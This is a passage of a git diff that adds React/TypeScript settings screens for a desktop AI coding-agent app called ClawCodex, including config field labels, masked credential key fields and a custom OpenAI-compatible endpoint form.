+    userProfileEnabled: 'User Profile',
+    memoryCharLimit: 'Memory Budget',
+    userCharLimit: 'Profile Budget',
+    provider: 'Memory Provider'
+  },
+  context: {
+    engine: 'Context Engine'
+  },
+  compression: {
+    enabled: 'Auto-Compression',
+    threshold: 'Compression Threshold',
+    targetRatio: 'Compression Target',
+    protectLastN: 'Protected Recent Messages'
+  },
+  delegation: {
+    model: 'Subagent Model',
+    provider: 'Subagent Provider',
+    maxIterations: 'Subagent Turn Limit',
+    maxConcurrentChildren: 'Parallel Subagents',
+    childTimeoutSeconds: 'Subagent Timeout',
+    reasoningEffort: 'Subagent Reasoning Effort'
+  },
+  updates: {
+    nonInteractiveLocalChanges: 'In-App Update Local Changes'
+  }
+})
+
+export const FIELD_DESCRIPTIONS: Record<string, string> = defineFieldCopy({
+  model: 'Used for new chats unless you pick a different model in the composer.',
+  modelContextLength: "Leave at 0 to use the selected model's detected context window.",
+  fallbackProviders: 'Backup provider:model entries to try if the default model fails.',
+  display: {
+    personality: 'Default assistant style for new sessions.',
+    showReasoning: 'Show reasoning sections when the backend provides them.'
+  },
+  desktop: {
+    repoScanEnabled: 'Scan local folders for Git repositories to show in Projects.',
+    repoScanRoots: 'Folders to scan. Leave empty to scan your home directory.',
+    repoScanExcludePaths: 'Folders and their descendants to skip during repository discovery.'
+  },
+  timezone: 'IANA timezone identifier. Blank uses the system timezone.',
+  agent: {
+    imageInputMode: 'Controls how image attachments are sent to the model.',
+    maxTurns: 'Upper bound for tool-calling turns before ClawCodex stops a run.'
+  },
+  terminal: {
+    cwd: 'Default project folder for tool and terminal work.',
+    persistentShell: 'Keep shell state between commands when the backend supports it.',
+    envPassthrough: 'Environment variables to pass into tool execution.',
+    dockerImage: 'Container image used when the execution backend is Docker.',
+    singularityImage: 'Image used when the execution backend is Singularity.',
+    modalImage: 'Image used when the execution backend is Modal.',
+    daytonaImage: 'Image used when the execution backend is Daytona.'
+  },
+  codeExecution: {
+    mode: 'How strictly code execution is scoped to the current project.'
+  },
+  fileReadMaxChars: 'Maximum characters ClawCodex can read from one file request.',
+  approvals: {
+    mode: 'How ClawCodex handles commands that need explicit approval.',
+    timeout: 'How long approval prompts wait before timing out.'
+  },
+  security: {
+    redactSecrets: 'Hide detected secrets from model-visible content when possible.'
+  },
+  checkpoints: {
+    enabled: 'Create rollback snapshots before file edits.'
+  },
+  memory: {
+    memoryEnabled: 'Save durable memories that can help future sessions.',
+    userProfileEnabled: 'Maintain a compact profile of user preferences.'
+  },
+  context: {
+    engine: 'Strategy for managing long conversations near the context limit.'
+  },
+  compression: {
+    enabled: 'Summarize older context when conversations get large.'
+  },
+  voice: {
+    autoTts: 'Automatically speak assistant responses.'
+  },
+  tts: {
+    xai: {
+      voiceId: 'xAI voice ID (e.g. eve) or a custom voice ID.',
+      language: 'Spoken language code (e.g. en, pt-BR) or "auto" for auto-detection.',
+      speed: 'Playback speed. 0.7 = slower, 1.0 = normal, 1.5 = faster.',
+      autoSpeechTags: 'Let an LLM insert expressive audio tags ([laughing], [sighs]) into the script before synthesis.',
+      optimizeStreamingLatency: 'Latency vs. quality trade-off. 0 = best quality, 2 = lowest latency.',
+      sampleRate: 'Audio sample rate in Hz. Higher = better quality, larger files.',
+      bitRate: 'MP3 bitrate in bps. Only applies when codec is mp3.'
+    },
+    neutts: {
+      device: 'Local inference device for NeuTTS.'
+    }
+  },
+  stt: {
+    enabled: 'Enable local or provider-backed speech transcription.',
+    echoTranscripts: 'Post the raw 🎙️ transcript of voice messages back to the chat.',
+    elevenlabs: {
+      languageCode: 'Optional ISO-639-3 language code. Blank lets ElevenLabs auto-detect.'
+    }
+  },
+  updates: {
+    nonInteractiveLocalChanges:
+      'When ClawCodex updates itself from the app (no terminal prompt), keep local source edits (stash) or throw them away (discard). Terminal updates always ask.'
+  }
+})
+
+// Curated desktop config surface: only fields a user might tune from the app.
+export const SECTIONS: DesktopConfigSection[] = [
+  {
+    id: 'model',
+    label: 'Model',
+    icon: Box,
+    keys: ['model_context_length', 'fallback_providers']
+  },
+  {
+    id: 'chat',
+    label: 'Chat',
+    icon: MessageCircle,
+    keys: ['display.personality', 'timezone', 'display.show_reasoning', 'agent.image_input_mode']
+  },
+  {
+    id: 'appearance',
+    label: 'Appearance',
+    icon: Palette,
+    keys: []
+  },
+  {
+    id: 'workspace',
+    label: 'Workspace',
+    icon: Monitor,
+    keys: [
+      'terminal.cwd',
+      'desktop.repo_scan_enabled',
+      'desktop.repo_scan_roots',
+      'desktop.repo_scan_exclude_paths',
+      'code_execution.mode',
+      'terminal.persistent_shell',
+      'terminal.env_passthrough',
+      'file_read_max_chars'
+    ]
+  },
+  {
+    id: 'safety',
+    label: 'Safety',
+    icon: Lock,
+    keys: [
+      'approvals.mode',
+      'approvals.timeout',
+      'approvals.mcp_reload_confirm',
+      'command_allowlist',
+      'security.redact_secrets',
+      'security.allow_private_urls',
+      'browser.allow_private_urls',
+      'browser.auto_local_for_private_urls',
+      'checkpoints.enabled'
+    ]
+  },
+  {
+    id: 'memory',
+    label: 'Memory & Context',
+    icon: Brain,
+    keys: [
+      'memory.memory_enabled',
+      'memory.user_profile_enabled',
+      'memory.memory_char_limit',
+      'memory.user_char_limit',
+      'memory.provider',
+      'context.engine',
+      'compression.enabled',
+      'compression.threshold',
+      'compression.target_ratio',
+      'compression.protect_last_n'
+    ]
+  },
+  {
+    id: 'voice',
+    label: 'Voice',
+    icon: Mic,
+    keys: [
+      'tts.provider',
+      'stt.enabled',
+      'stt.echo_transcripts',
+      'stt.provider',
+      'voice.auto_tts',
+      'tts.edge.voice',
+      'tts.openai.model',
+      'tts.openai.voice',
+      'tts.elevenlabs.voice_id',
+      'tts.elevenlabs.model_id',
+      'tts.xai.voice_id',
+      'tts.xai.language',
+      'tts.xai.speed',
+      'tts.xai.auto_speech_tags',
+      'tts.xai.optimize_streaming_latency',
+      'tts.xai.sample_rate',
+      'tts.xai.bit_rate',
+      'tts.minimax.model',
+      'tts.minimax.voice_id',
+      'tts.mistral.model',
+      'tts.mistral.voice_id',
+      'tts.gemini.model',
+      'tts.gemini.voice',
+      'tts.neutts.model',
+      'tts.neutts.device',
+      'tts.kittentts.model',
+      'tts.kittentts.voice',
+      'tts.piper.voice',
+      'tts.deepinfra.model',
+      'tts.deepinfra.voice',
+      'stt.local.model',
+      'stt.local.language',
+      'stt.openai.model',
+      'stt.groq.model',
+      'stt.mistral.model',
+      'stt.elevenlabs.model_id',
+      'stt.elevenlabs.language_code',
+      'stt.elevenlabs.tag_audio_events',
+      'stt.elevenlabs.diarize',
+      'voice.record_key',
+      'voice.max_recording_seconds'
+    ]
+  },
+  {
+    id: 'advanced',
+    label: 'Advanced',
+    icon: Wrench,
+    keys: [
+      'toolsets',
+      'terminal.backend',
+      'terminal.timeout',
+      'terminal.docker_image',
+      'terminal.singularity_image',
+      'terminal.modal_image',
+      'terminal.daytona_image',
+      'tool_output.max_bytes',
+      'tool_output.max_lines',
+      'tool_output.max_line_length',
+      'checkpoints.max_snapshots',
+      'agent.max_turns',
+      'agent.api_max_retries',
+      'agent.service_tier',
+      'agent.tool_use_enforcement',
+      'delegation.model',
+      'delegation.provider',
+      'delegation.max_iterations',
+      'delegation.max_concurrent_children',
+      'delegation.child_timeout_seconds',
+      'delegation.reasoning_effort',
+      'updates.non_interactive_local_changes'
+    ]
+  }
+]
+
+export interface ModeOption {
+  id: ThemeMode
+  label: string
+  icon: IconComponent
+}
+
+export const MODE_OPTIONS: ModeOption[] = [
+  { id: 'light', label: 'Light', icon: Sun },
+  { id: 'dark', label: 'Dark', icon: Moon },
+  { id: 'system', label: 'System', icon: Monitor }
+]
diff --git a/ui-desktop/src/app/settings/credential-key-ui.tsx b/ui-desktop/src/app/settings/credential-key-ui.tsx
new file mode 100644
index 000000000..7b67fc82d
--- /dev/null
+++ b/ui-desktop/src/app/settings/credential-key-ui.tsx
@@ -0,0 +1,406 @@
+import { type ChangeEvent, type KeyboardEvent } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { translateNow, useI18n } from '@/i18n'
+import { ChevronDown, ExternalLink, Loader2, Save, Trash2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import type { EnvVarInfo } from '@/types/clawcodex'
+
+import { CONTROL_TEXT } from './constants'
+import { prettyName, withoutKey } from './helpers'
+import { ListRow } from './primitives'
+import type { EnvRowProps } from './types'
+
+export type KeyRowProps = Omit<EnvRowProps, 'info' | 'varKey'>
+
+/** Matches Advanced / config field controls (ListRow + Input). */
+export const CREDENTIAL_CONTROL_CLASS = cn('h-8', CONTROL_TEXT)
+
+// Resting credential field: chrome stripped so it reads as plain subtext.
+// Stacked (<@2xl) it collapses to zero box (flush under its label); at @2xl it
+// keeps the full control metrics (h-8 + px-2.5/py-1.5) so it centres on the
+// label and nothing shifts when focus/expand adds the border. `!` beats the
+// unlayered chrome CSS and the shared control sizing.
+const CRED_BARE = 'border-0! bg-transparent! shadow-none! h-auto! p-0! @2xl:h-8! @2xl:px-2.5! @2xl:py-1.5!'
+
+export const isKeyVar = (key: string, info: EnvVarInfo) => info.is_password || /(?:_API_KEY|_TOKEN|_KEY)$/.test(key)
+
+export const friendlyFieldLabel = (key: string, info: EnvVarInfo) =>
+  info.description?.trim() ||
+  key
+    .replace(/_/g, ' ')
+    .toLowerCase()
+    .replace(/\b\w/g, c => c.toUpperCase())
+
+export const credentialPlaceholder = (key: string, info: EnvVarInfo, label: string): string =>
+  isKeyVar(key, info)
+    ? translateNow('settings.credentials.pasteLabelKey', label)
+    : /URL$/i.test(key)
+      ? 'https://…'
+      : translateNow('settings.credentials.optional')
+
+// A single credential field: a set key shows as a filled read-only input
+// (redacted value) that edits in place on click. Save appears once typed; a set
+// key also offers Remove, and Esc cancels without closing the overlay.
+export function KeyField({
+  expanded = false,
+  info,
+  placeholder,
+  rowProps,
+  varKey
+}: {
+  expanded?: boolean
+  info: EnvVarInfo
+  placeholder?: string
+  rowProps: KeyRowProps
+  varKey: string
+}) {
+  const { t } = useI18n()
+  const { edits, onClear, onSave, saving, setEdits } = rowProps
+  const editing = edits[varKey] !== undefined
+  // Bare (plain subtext) only while the group is collapsed and idle. Expanding
+  // the card counts as "focused in", so it gets full input chrome too.
+  const bare = !editing && !expanded
+  const draft = edits[varKey] ?? ''
+  const dirty = draft.trim().length > 0
+  const busy = saving === varKey
+  const masked = info.redacted_value ?? '••••••••'
+  const startEdit = () => setEdits(c => ({ ...c, [varKey]: '' }))
+  const cancel = () => setEdits(c => withoutKey(c, varKey))
+  const update = (e: ChangeEvent<HTMLInputElement>) => setEdits(c => ({ ...c, [varKey]: e.target.value }))
+
+  const keydown = (e: KeyboardEvent<HTMLInputElement>) => {
+    if (e.key === 'Enter' && dirty) {
+      void onSave(varKey)
+    } else if (e.key === 'Escape' && editing) {
+      e.preventDefault()
+      e.stopPropagation()
+      cancel()
+    }
+  }
+
+  const editType = info.is_password ? 'password' : 'text'
+
+  if (info.is_set && !editing) {
+    return (
+      <Input
+        className={cn(CREDENTIAL_CONTROL_CLASS, bare && CRED_BARE, 'cursor-pointer text-muted-foreground')}
+        onFocus={startEdit}
+        readOnly
+        value={masked}
+      />
+    )
+  }
+
+  return (
+    <div className="grid grid-cols-[minmax(0,1fr)_auto] items-center gap-2">
+      <Input
+        autoFocus={editing}
+        className={cn(CREDENTIAL_CONTROL_CLASS, bare && CRED_BARE)}
+        onChange={update}
+        onFocus={() => {
+          if (!editing) {
+            startEdit()
+          }
+        }}
+        onKeyDown={keydown}
+        placeholder={placeholder ?? t.settings.credentials.pasteKey}
+        type={editType}
+        value={draft}
+      />
+      {/* Inline trailing controls — mirrors SearchField's inline clear button.
+          No floating hint row that reflows the grid or overlaps the card body;
+          Esc still cancels via keydown. */}
+      {editing && (info.is_set || dirty) && (
+        <div className="flex items-center gap-1">
+          {info.is_set && (
+            <Button
+              aria-label={t.settings.credentials.remove}
+              className="text-muted-foreground hover:text-destructive"
+              disabled={busy}
+              onClick={() => void onClear(varKey)}
+              size="icon-xs"
+              title={t.settings.credentials.remove}
+              type="button"
+              variant="ghost"
+            >
+              <Trash2 />
+            </Button>
+          )}
+          {dirty && (
+            <Button className="h-8" disabled={busy} onClick={() => void onSave(varKey)} size="sm">
+              {busy ? <Loader2 className="animate-spin" /> : <Save />}
+              {busy ? t.settings.credentials.saving : t.common.save}
+            </Button>
+          )}
+        </div>
+      )}
+    </div>
+  )
+}
+
+function CredentialDocsLink({ href }: { href: string }) {
+  const { t } = useI18n()
+
+  return (
+    <a
+      className="inline-flex w-fit items-center gap-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary) underline-offset-4 transition-colors hover:text-foreground hover:underline"
+      href={href}
+      onClick={e => e.stopPropagation()}
+      rel="noreferrer"
+      target="_blank"
+    >
+      {t.settings.credentials.getKey}
+      <ExternalLink className="size-3" />
+    </a>
+  )
+}
+
+/** One credential row — collapsible; description and docs link expand on click. */
+export function CredentialKeyCard({
+  expanded,
+  info,
+  label,
+  onExpand,
+  onToggle,
+  placeholder,
+  rowProps,
+  varKey
+}: CredentialKeyCardProps) {
+  const docsUrl = info.url?.trim()
+  const description = info.description?.trim()
+  const expandable = Boolean(description || docsUrl)
+
+  return (
+    <div
+      className={cn(
+        '@container group/card rounded-[6px] p-3 transition-colors',
+        expandable && 'cursor-pointer',
+        expandable && !expanded && 'row-hover',
+        expanded && 'bg-(--ui-bg-quaternary) ring-1 ring-(--ui-stroke-secondary)'
+      )}
+      onClick={expandable ? onToggle : undefined}
+      onKeyDown={
+        expandable
+          ? e => {
+              // Only the card's own focus toggles it — ignore Enter/Space
+              // bubbling up from the inputs/buttons inside (Enter saves a key,
+              // Space types a space) so keyboard editing never collapses the card.
+              if (e.target !== e.currentTarget) {
+                return
+              }
+
+              if (e.key === 'Enter' || e.key === ' ') {
+                e.preventDefault()
+                onToggle()
+              }
+            }
+          : undefined
+      }
+      role={expandable ? 'button' : undefined}
+      tabIndex={expandable ? 0 : undefined}
+    >
+      {/* One CSS grid: 1 col stacked, 2 cols at @2xl. p-3 card padding = gap-3
+          row/col gaps, everything top-left aligned (items-start), no indents.
+          The label row is h-8 to line up with the input row beside it. */}
+      <div className="grid grid-cols-1 items-start gap-x-3 gap-y-1.5 @2xl:grid-cols-[minmax(0,1fr)_minmax(15rem,22rem)] @2xl:gap-y-3">
+        <div className="flex h-8 min-w-0 items-center gap-2">
+          <span
+            className={cn('size-2 shrink-0 rounded-full', info.is_set ? 'bg-primary' : 'bg-(--ui-stroke-secondary)')}
+          />
+
+          <span className="min-w-0 truncate text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+            {label}
+          </span>
+
+          {expandable && (
+            <ChevronDown
+              className={cn(
+                'size-3.5 shrink-0 text-muted-foreground transition',
+                expanded ? 'rotate-180 opacity-100' : 'opacity-0 group-hover/card:opacity-100'
+              )}
+            />
+          )}
+        </div>
+
+        <div
+          className="min-w-0"
+          onClick={e => e.stopPropagation()}
+          onFocus={() => {
+            if (expandable && !expanded) {
+              onExpand()
+            }
+          }}
+        >
+          <KeyField expanded={expanded} info={info} placeholder={placeholder} rowProps={rowProps} varKey={varKey} />
+        </div>
+
+        {expandable && expanded && (
+          <div className="grid gap-3 @2xl:col-span-2" onClick={e => e.stopPropagation()}>
+            {description && (
+              <p className="text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+                {description}
+              </p>
+            )}
+
+            {docsUrl && <CredentialDocsLink href={docsUrl} />}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
+
+/** Provider API key group — collapsible card; description, docs link, and advanced fields expand on click. */
+export function ProviderKeyRows({ expanded, group, onExpand, onToggle, rowProps }: ProviderKeyRowsProps) {
+  const { t } = useI18n()
+  const docsUrl = group.docsUrl?.trim()
+  const description = group.description?.trim()
+  const expandable = Boolean(description || docsUrl || group.advanced.length > 0)
+
+  return (
+    <div
+      className={cn(
+        '@container group/card rounded-[6px] p-3 transition-colors',
+        expandable && 'cursor-pointer',
+        expandable && !expanded && 'row-hover',
+        expanded && 'bg-(--ui-bg-quaternary) ring-1 ring-(--ui-stroke-secondary)'
+      )}
+      onClick={expandable ? onToggle : undefined}
+      onKeyDown={
+        expandable
+          ? e => {
+              // Only the card's own focus toggles it — ignore Enter/Space
+              // bubbling up from the inputs/buttons inside (Enter saves a key,
+              // Space types a space) so keyboard editing never collapses the card.
+              if (e.target !== e.currentTarget) {
+                return
+              }
+
+              if (e.key === 'Enter' || e.key === ' ') {
+                e.preventDefault()
+                onToggle()
+              }
+            }
+          : undefined
+      }
+      role={expandable ? 'button' : undefined}
+      tabIndex={expandable ? 0 : undefined}
+    >
+      {/* Same grid as CredentialKeyCard: 1 col stacked, 2 cols at @2xl, p-3 =
+          gap-3, items-start, label row h-8 to line up with the input row. */}
+      <div className="grid grid-cols-1 items-start gap-x-3 gap-y-1.5 @2xl:grid-cols-[minmax(0,1fr)_minmax(15rem,22rem)] @2xl:gap-y-3">
+        <div className="flex h-8 min-w-0 items-center gap-2">
+          <span
+            className={cn(
+              'size-2 shrink-0 rounded-full',
+              group.hasAnySet ? 'bg-primary' : 'bg-(--ui-stroke-secondary)'
+            )}
+          />
+
+          <span className="min-w-0 truncate text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+            {group.name}
+          </span>
+
+          {expandable && (
+            <ChevronDown
+              className={cn(
+                'size-3.5 shrink-0 text-muted-foreground transition',
+                expanded ? 'rotate-180 opacity-100' : 'opacity-0 group-hover/card:opacity-100'
+              )}
+            />
+          )}
+        </div>
+
+        <div
+          className="min-w-0"
+          onClick={e => e.stopPropagation()}
+          onFocus={() => {
+            if (expandable && !expanded) {
+              onExpand()
+            }
+          }}
+        >
+          <KeyField
+            expanded={expanded}
+            info={group.primary[1]}
+            placeholder={t.settings.credentials.pasteLabelKey(group.name)}
+            rowProps={rowProps}
+            varKey={group.primary[0]}
+          />
+        </div>
+
+        {expandable && expanded && (
+          <div className="grid gap-3 @2xl:col-span-2" onClick={e => e.stopPropagation()}>
+            {description && (
+              <p className="text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+                {description}
+              </p>
+            )}
+
+            {group.advanced.map(([key, info]) => {
+              const fieldLabel = isKeyVar(key, info)
+                ? prettyName(key.replace(/(?:_API_KEY|_TOKEN|_KEY)$/i, ''))
+                : friendlyFieldLabel(key, info)
+
+              return (
+                <ListRow
+                  action={
+                    <KeyField
+                      expanded={expanded}
+                      info={info}
+                      placeholder={credentialPlaceholder(key, info, fieldLabel)}
+                      rowProps={rowProps}
+                      varKey={key}
+                    />
+                  }
+                  key={key}
+                  title={fieldLabel}
+                />
+              )
+            })}
+
+            {docsUrl && <CredentialDocsLink href={docsUrl} />}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
+
+export function credentialRowLabel(varKey: string, info: EnvVarInfo): string {
+  if (isKeyVar(varKey, info)) {
+    return prettyName(varKey.replace(/(?:_API_KEY|_TOKEN|_KEY)$/i, ''))
+  }
+
+  return prettyName(varKey)
+}
+
+interface CredentialKeyCardProps {
+  expanded: boolean
+  info: EnvVarInfo
+  label: string
+  onExpand: () => void
+  onToggle: () => void
+  placeholder: string
+  rowProps: KeyRowProps
+  varKey: string
+}
+
+interface ProviderKeyRowsProps {
+  expanded: boolean
+  group: ProviderKeyRowGroup
+  onExpand: () => void
+  onToggle: () => void
+  rowProps: KeyRowProps
+}
+
+export interface ProviderKeyRowGroup {
+  advanced: [string, EnvVarInfo][]
+  description?: string
+  docsUrl?: string
+  hasAnySet: boolean
+  name: string
+  primary: [string, EnvVarInfo]
+}
diff --git a/ui-desktop/src/app/settings/custom-endpoints-settings.tsx b/ui-desktop/src/app/settings/custom-endpoints-settings.tsx
new file mode 100644
index 000000000..107aca90f
--- /dev/null
+++ b/ui-desktop/src/app/settings/custom-endpoints-settings.tsx
@@ -0,0 +1,403 @@
+import { useEffect, useState } from 'react'
+
+import {
+  activateCustomEndpoint,
+  deleteCustomEndpoint,
+  getCustomEndpoints,
+  saveCustomEndpoint,
+  validateCustomEndpoint
+} from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import { Input } from '@/components/ui/input'
+import { triggerHaptic } from '@/lib/haptics'
+import { Check, Globe, Loader2, Plus, Save, Trash2, Zap } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import type { CustomEndpoint, CustomEndpointUpdate } from '@/types/clawcodex'
+
+import { EmptyState, Pill, SectionHeading, SettingsContent, SettingsSkeleton } from './primitives'
+
+interface CustomEndpointsSettingsProps {
+  onConfigSaved?: () => void
+  onMainModelChanged?: (provider: string, model: string) => void
+}
+
+interface EndpointForm {
+  apiKey: string
+  baseUrl: string
+  contextLength: string
+  discoverModels: boolean
+  id: string
+  makeDefault: boolean
+  model: string
+  name: string
+}
+
+const EMPTY_FORM: EndpointForm = {
+  apiKey: '',
+  baseUrl: '',
+  contextLength: '',
+  discoverModels: true,
+  id: '',
+  makeDefault: true,
+  model: '',
+  name: ''
+}
+
+function formFromEndpoint(endpoint: CustomEndpoint): EndpointForm {
+  return {
+    apiKey: '',
+    baseUrl: endpoint.base_url,
+    contextLength: endpoint.context_length ? String(endpoint.context_length) : '',
+    discoverModels: endpoint.discover_models,
+    id: endpoint.id,
+    makeDefault: Boolean(endpoint.is_current),
+    model: endpoint.model,
+    name: endpoint.name
+  }
+}
+
+function toPayload(form: EndpointForm, models?: string[]): CustomEndpointUpdate {
+  const contextLength = Number.parseInt(form.contextLength, 10)
+
+  return {
+    id: form.id.trim() || undefined,
+    name: form.name.trim(),
+    base_url: form.baseUrl.trim(),
+    model: form.model.trim(),
+    api_key: form.apiKey.trim() || undefined,
+    context_length: Number.isFinite(contextLength) && contextLength > 0 ? contextLength : undefined,
+    discover_models: form.discoverModels,
+    make_default: form.makeDefault,
+    models: models?.length ? models : undefined
+  }
+}
+
+export function CustomEndpointsSettings({ onConfigSaved, onMainModelChanged }: CustomEndpointsSettingsProps) {
+  const [loading, setLoading] = useState(true)
+  const [saving, setSaving] = useState(false)
+  const [testing, setTesting] = useState(false)
+  const [activating, setActivating] = useState<string | null>(null)
+  const [deleting, setDeleting] = useState<string | null>(null)
+  const [endpoints, setEndpoints] = useState<CustomEndpoint[]>([])
+  const [form, setForm] = useState<EndpointForm>(EMPTY_FORM)
+  const [discoveredModels, setDiscoveredModels] = useState<string[]>([])
+
+  async function refresh() {
+    const data = await getCustomEndpoints()
+    setEndpoints(data.endpoints)
+  }
+
+  useEffect(() => {
+    let cancelled = false
+
+    async function load() {
+      try {
+        const data = await getCustomEndpoints()
+
+        if (cancelled) {
+          return
+        }
+
+        setEndpoints(data.endpoints)
+        const current = data.endpoints.find(endpoint => endpoint.is_current) ?? data.endpoints[0]
+
+        if (current) {
+          setForm(formFromEndpoint(current))
+          setDiscoveredModels(current.models)
+        }
+      } catch (err) {
+        notifyError(err, 'Could not load custom endpoints')
+      } finally {
+        if (!cancelled) {
+          setLoading(false)
+        }
+      }
+    }
+
+    void load()
+
+    return () => {
+      cancelled = true
+    }
+  }, [])
+
+  async function handleSave() {
+    try {
+      setSaving(true)
+      const response = await saveCustomEndpoint(toPayload(form, discoveredModels))
+      setEndpoints(response.endpoints)
+      const saved = response.endpoints.find(endpoint => endpoint.id === response.id)
+
+      if (saved) {
+        setForm(formFromEndpoint(saved))
+        setDiscoveredModels(saved.models)
+      }
+
+      if (saved && saved.is_current) {
+        onMainModelChanged?.(saved.id, saved.model)
+      }
+
+      triggerHaptic('success')
+      onConfigSaved?.()
+      notify({ kind: 'success', message: 'Custom endpoint saved.' })
+    } catch (err) {
+      notifyError(err, 'Save failed')
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  async function handleValidate() {
+    try {
+      setTesting(true)
+      const response = await validateCustomEndpoint(toPayload(form))
+      setDiscoveredModels(response.models)
+
+      if (response.ok) {
+        if (!form.model && response.models[0]) {
+          setForm(current => ({ ...current, model: response.models[0] }))
+        }
+
+        notify({
+          kind: 'success',
+          message: response.models.length
+            ? `Endpoint is reachable. Found ${response.models.length} models.`
+            : 'Endpoint is reachable.'
+        })
+      } else {
+        notify({
+          kind: response.reachable ? 'warning' : 'error',
+          message: response.message || 'Endpoint validation failed.'
+        })
+      }
+    } catch (err) {
+      notifyError(err, 'Validation failed')
+    } finally {
+      setTesting(false)
+    }
+  }
+
+  async function handleActivate(endpoint: CustomEndpoint) {
+    try {
+      setActivating(endpoint.id)
+      const response = await activateCustomEndpoint(endpoint.id)
+      await refresh()
+      onConfigSaved?.()
+      onMainModelChanged?.(response.provider, response.model)
+      triggerHaptic('success')
+    } catch (err) {
+      notifyError(err, 'Activation failed')
+    } finally {
+      setActivating(null)
+    }
+  }
+
+  async function handleDelete(endpoint: CustomEndpoint) {
+    if (!window.confirm(`Delete ${endpoint.name}?`)) {
+      return
+    }
+
+    try {
+      setDeleting(endpoint.id)
+      const response = await deleteCustomEndpoint(endpoint.id)
+      setEndpoints(response.endpoints)
+
+      if (form.id === endpoint.id) {
+        setForm(EMPTY_FORM)
+        setDiscoveredModels([])
+      }
+
+      onConfigSaved?.()
+      triggerHaptic('success')
+    } catch (err) {
+      notifyError(err, 'Delete failed')
+    } finally {
+      setDeleting(null)
+    }
+  }
+
+  if (loading) {
+    return <SettingsSkeleton sections={[{ heading: true, rows: 3 }]} />
+  }
+
+  const allModelOptions = Array.from(new Set([...discoveredModels, form.model].filter(Boolean)))
+  const canSave = form.name.trim() && form.baseUrl.trim() && form.model.trim()
+
+  return (
+    <SettingsContent>
+      <div className="space-y-6">
+        <section>
+          <SectionHeading icon={Globe} meta={`${endpoints.length}`} title="Custom Endpoints" />
+          <div className="divide-y divide-border/40 rounded-md border border-border/50">
+            {endpoints.length ? (
+              endpoints.map(endpoint => (
+                <div className="grid gap-3 p-3 sm:grid-cols-[minmax(0,1fr)_auto] sm:items-center" key={endpoint.id}>
+                  <button
+                    className="min-w-0 text-left"
+                    onClick={() => {
+                      setForm(formFromEndpoint(endpoint))
+                      setDiscoveredModels(endpoint.models)
+                    }}
+                    type="button"
+                  >
+                    <div className="flex min-w-0 items-center gap-2">
+                      <span className="truncate text-sm font-medium">{endpoint.name}</span>
+                      {endpoint.is_current && (
+                        <Pill tone="primary">
+                          <Check className="size-3" />
+                          Active
+                        </Pill>
+                      )}
+                      {endpoint.source === 'direct-config' && <Pill>config.yaml</Pill>}
+                    </div>
+                    <div className="mt-1 truncate font-mono text-[0.7rem] text-muted-foreground">
+                      {endpoint.base_url}
+                    </div>
+                    <div className="mt-1 flex flex-wrap gap-2 text-xs text-muted-foreground">
+                      <span>{endpoint.model}</span>
+                      {endpoint.has_api_key && <span>{endpoint.api_key_preview ?? 'API key set'}</span>}
+                    </div>
+                  </button>
+                  <div className="flex items-center gap-2 sm:justify-end">
+                    <Button
+                      disabled={endpoint.is_current || activating === endpoint.id}
+                      onClick={() => void handleActivate(endpoint)}
+                      size="sm"
+                      variant="outline"
+                    >
+                      {activating === endpoint.id ? <Loader2 className="animate-spin" /> : <Zap />}
+                      Use
+                    </Button>
+                    {endpoint.source !== 'direct-config' && (
+                      <Button
+                        className="hover:text-destructive"
+                        disabled={deleting === endpoint.id}
+                        onClick={() => void handleDelete(endpoint)}
+                        size="icon-sm"
+                        title="Delete endpoint"
+                        variant="ghost"
+                      >
+                        {deleting === endpoint.id ? <Loader2 className="animate-spin" /> : <Trash2 />}
+                      </Button>
+                    )}
+                  </div>
+                </div>
+              ))
+            ) : (
+              <EmptyState description="Add an OpenAI-compatible endpoint below." title="No custom endpoints" />
+            )}
+          </div>
+        </section>
+
+        <section>
+          <SectionHeading icon={Plus} title={form.id ? 'Edit Endpoint' : 'Add Endpoint'} />
+          <div className="grid gap-3 rounded-md border border-border/50 p-3">
+            <div className="grid gap-3 sm:grid-cols-2">
+              <label className="grid gap-1.5 text-xs text-muted-foreground">
+                Name
+                <Input
+                  onChange={event => setForm(current => ({ ...current, name: event.target.value }))}
+                  placeholder="Axet Proxy"
+                  value={form.name}
+                />
+              </label>
+              <label className="grid gap-1.5 text-xs text-muted-foreground">
+                Provider ID
+                <Input
+                  onChange={event => setForm(current => ({ ...current, id: event.target.value }))}
+                  placeholder="axet-proxy"
+                  value={form.id}
+                />
+              </label>
+            </div>
+            <label className="grid gap-1.5 text-xs text-muted-foreground">
+              Endpoint URL
+              <Input
+                onChange={event => setForm(current => ({ ...current, baseUrl: event.target.value }))}
+                placeholder="http://127.0.0.1:8081/v1"
+                value={form.baseUrl}
+              />
+            </label>
+            <div className="grid gap-3 sm:grid-cols-[minmax(0,1fr)_12rem]">
+              <label className="grid gap-1.5 text-xs text-muted-foreground">
+                Default Model
+                <Input
+                  list="custom-endpoint-models"
+                  onChange={event => setForm(current => ({ ...current, model: event.target.value }))}
+                  placeholder="gpt-5.4"
+                  value={form.model}
+                />
+                <datalist id="custom-endpoint-models">
+                  {allModelOptions.map(model => (
+                    <option key={model} value={model} />
+                  ))}
+                </datalist>
+              </label>
+              <label className="grid gap-1.5 text-xs text-muted-foreground">
+                Context
+                <Input
+                  inputMode="numeric"
+                  onChange={event => setForm(current => ({ ...current, contextLength: event.target.value }))}
+                  placeholder="Auto"
+                  value={form.contextLength}
+                />
+              </label>
+            </div>
+            <label className="grid gap-1.5 text-xs text-muted-foreground">
+              API Key
+              <Input
+                onChange={event => setForm(current => ({ ...current, apiKey: event.target.value }))}
+                placeholder={form.id ? 'Leave blank to keep current key' : 'Optional'}
+                type="password"
+                value={form.apiKey}
+              />
+            </label>
